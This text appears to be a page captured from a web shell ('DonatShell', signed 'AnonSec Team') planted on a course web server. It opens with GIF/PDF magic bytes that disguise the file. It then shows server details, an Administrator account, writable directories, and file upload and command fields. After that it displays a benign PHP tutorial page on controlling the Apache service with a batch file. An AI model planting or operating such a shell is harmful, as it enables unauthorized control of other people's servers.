GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/MMDT1021/apache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/MMDT1021/apache/ApacheControl.php
<?
// ApacheControl.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$title = "Apache Control";
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Login/authenticate.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
?>
Apache menu: &nbsp;
<a href="ApacheInstall.php">Part 1: Apache Install</a> &nbsp;
<a href="Apache_Service.php">Part 2: Configure the Apache Service</a> &nbsp;
<span class="currentpage">Part 3: Setup Apache Control &nbsp;</span>
<a href="ApacheConfigure.php">Part 4: Configure Apache</a> &nbsp;
<br /><br />
Setup Apache Control: (part 3 of 4)
<ol class="instruction">
	<li>We need a utility to start and stop the Apache service.
		<br />I wrote WebServices.bat to control not only the Apache service but the IIS, MySQL and ColdFusion services as well.
		<br />Right-click on the link here <a href="../dn/WebServices.bat">WebServices.bat</a> and select <b>Save Target As...</b> if using Internet Explorer (IE) or  <b>Save Lin<u>k</u> As...</b> if using Firefox (FF).
		<br /><img src="SaveTargetAs.jpg" align="top" />&nbsp;<img src="SaveLinkAs.jpg" align="top" />
	</li>
	<li>Select the MMDT1021 folder you created and click <b>Save</b>.
		<br /><img src="ac_01.jpg" />
	</li>
	<li>The WebServices.bat utility needs CHOICE.COM in order to work (this is a Windows command that is not distributed with XP).
		<br />Right-click on the link here <a href="../dn/CHOICE.COM">CHOICE.COM</a> and select <b>Save Target As...</b> if using Internet Explorer (IE) or  <b>Save Lin<u>k</u> As...</b> if using Firefox (FF).
		<br /><img src="SaveTargetAs.jpg" align="top" />&nbsp;<img src="SaveLinkAs.jpg" align="top" />
	</li>
	<li>Select the C:\Windows\system32 folder and click <b>Save</b>.
		<br /><img src="ac_02.jpg" />
	</li>
	<li>Now we need to test WebServices.bat. Open the MMDT1021 folder and double-click on WebServices.bat.
		<br /><img src="ac_03.jpg" />
	</li>
	<li>You will get a windows similar to the one below. It may differ depending on what other services you have installed on your computer.
		<br />You can see that Apache is running. Hit <b>A</b> to select <b>A) Apache stop</b> from the menu.
		<br /><img src="ac_04.jpg" />
	</li>
	<li>You can see now that Apache is stopped. Let's verify this.
		<br /><img src="ac_05.jpg" />
		<br />Don't close the WebServices.bat window, we are going to use it again later.
	</li>
	<li> Bring back up the browser we minimized earlier and refresh the page (F5, <u>View</u> <u>R</u>efresh, or <u>View</u> <u>R</u>eload).
	<br />You should get a message similar to this after a couple seconds.
		<br /><img src="ac_06.jpg" />
		<br />Don't close the browser, we are going to use it again later.
	</li>
	<li>Go back to the WebServices.bat window and hit <b>A</b> again to restart Apache.
		<br /><img src="ac_07.jpg" />
		<br />Don't close the WebServices.bat window, we are going to use it again later.
	</li>
	<li>Bring back up the browser and again refresh the page (F5, <u>View</u> <u>R</u>efresh, or <u>View</u> <u>R</u>eload).
	<br />You should get the <b>It works!</b> page again.
		<br /><img src="apache_16.jpg" />
		<br />Don't close the browser, we are going to use it again later.
	</li>
	<li>Go back to the WebServices.bat window and hit <b>A</b> to stop Apache.
		<br /><img src="ac_05.jpg" />
		<br />Don't close the WebServices.bat window, we are going to use it again later.
	</li>
</ol>
That's it for setting up Apache control. Now you need to <a href="ApacheConfigure.php">Configure Apache</a>.
<?
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team